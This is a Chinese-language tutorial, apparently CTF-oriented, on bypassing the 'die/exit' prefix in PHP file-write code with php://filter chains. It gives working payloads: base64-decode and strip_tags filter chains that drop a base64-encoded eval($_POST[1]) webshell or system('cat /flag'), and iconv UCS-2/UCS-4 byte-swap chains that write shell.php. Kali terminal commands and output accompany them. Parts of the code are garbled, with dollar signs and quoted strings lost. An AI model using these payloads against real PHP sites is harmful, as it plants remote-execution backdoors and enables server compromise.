利用php filter伪协议绕过死亡之die、死亡之exit
php://filter是一种元封装器， 设计用于数据流打开时的筛选过滤应用。 这对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、 file() 和 file_get_contents()， 在数据流内容读取之前没有机会应用其他过滤器。
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
“.$content);
└─# echo ‘ ‘ |base64
PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWciKTs/PiAK
?filename=php://filter/write=convert.base64-decode/resource=m.php
content=aPD9waHAgc3lzdGVtKCJjYXQgL2ZsYWciKTs/PiAK
多种过滤器绕过：
再仔细观察死亡之exit的代码：
<?php exit; ?>
可以看到死亡之exit的代码其实本质上是XML标签，因此我们可以使用strip_tags函数除去该XML标签
并且，filter协议允许我们使用多种过滤器，所以我们还是针对上面的实例代码：
<?php
content =_POST['content'];
file_put_contents(_GET['filename'], "<?php exit; ?>".content);
传payload如下：
?filename=php://filter/string.strip_tags|convert.base64-decode/resource=1.php
POSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ |base64 -d <?php eval($_POST[1]);?>
conv字符编码转换
通过字符转换把<?php exit();转成不能解析的，这里采用的是UCS-2或者UCS-4编码方式，而我们构造的转成可正常解析的
#echo iconv(“UCS-2LE”,”UCS-2BE”,’‘);
?
这里用的是UCS-2，当然我们也可以用UCS-4
─# iconv -f UCS-2LE -t UCS-2BE 1.php
<‘p?php phniof)(?;’>
┌──(root㉿kali)-[/tmp]
└─# cat 1.php
‘‘
┌──(root㉿kali)-[/tmp]
└─#
通过UCS-2或者UCS-4的方式，对目标字符串进行2/4位一反转，也就是说构造的需要是UCS-2或UCS-4中2或者4的倍数，不然不能进行反转，那我们就可以利用这种过滤器进行编码转换绕过了，构造payload
$a='php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php';
**or**
$a='php://filter/convert.iconv.UCS-4LE.UCS-4BE|xxx?<aa phpiphp(ofn>?;)/resource=shell.php';
#由于是4位一反转，所以需要保证?<aa phpiphp(ofn>?;)之前字符个数是4的倍数,所以补充了 xxx